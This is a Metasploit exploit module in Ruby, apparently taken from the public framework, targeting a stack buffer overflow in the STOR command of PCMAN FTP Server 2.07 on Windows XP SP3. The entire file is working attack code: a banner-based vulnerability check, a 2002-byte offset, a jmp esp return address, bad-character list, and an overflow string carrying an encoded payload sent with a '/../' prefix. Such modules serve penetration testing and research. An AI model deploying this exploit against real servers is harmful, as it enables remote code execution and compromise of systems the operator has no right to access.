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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server STOR Command Stack Overflow', 'Description'=> %q{ This module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. }, 'Author' => [ 'Christian (Polunchis) Ramirez', # Initial Discovery 'Rick (nanotechz9l) Flores', # Metasploit Module ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/27703/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1000, 'BadChars' => "\x00\xff\x0a\x0d\x20\x40", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3', { 'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll 'Offset' => 2002 } ], ], 'DisclosureDate' => 'Jul 17 2011', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /220 PCMan's FTP Server 2.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying victim #{target.name}...") sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded sploit << make_nops(4) sploit << payload.encoded send_cmd( ['STOR', '/../' + sploit], false ) handler disconnect end end |
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